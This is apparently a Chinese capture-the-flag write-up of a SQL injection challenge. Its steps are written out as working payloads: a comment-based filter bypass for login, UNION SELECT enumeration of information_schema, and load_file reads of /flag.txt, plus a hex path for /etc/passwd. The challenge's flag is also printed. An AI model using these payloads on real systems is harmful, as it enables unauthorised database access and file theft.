打开页面后,如图
查看源代码,发现有段注释,尝试sql注入
<!-- $sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";-->
1、尝试万能密码 1 or 1=1# / admin, 提示Forbidden!!!,flag,空格等关键字被过滤禁用
2、根据sql语句分析,可以用admin"/**/or/**/1=1# 或者admin"/**/or/**/1=1%23 试试,获取了payload
3、暴库 ?query=admin"/**/union/**/select/**/1,database(),3%23
4、爆表?query=admin"/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
5、爆字段?query=admin"/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x66316167646173%23
6、十六进制编码,读取文件
?query=admin"/**/union/**/select/**/1,load_file(0x2f666c61672e747874),3%23
最终获取flag: 352f1504696639a0d71c2d36591d505b
16进制编码如下:
/flag.txt 2f666c61672e747874 0x2f666c61672e747874
/etc/passwd 2f6574632f706173737764 0x2f6574632f706173737764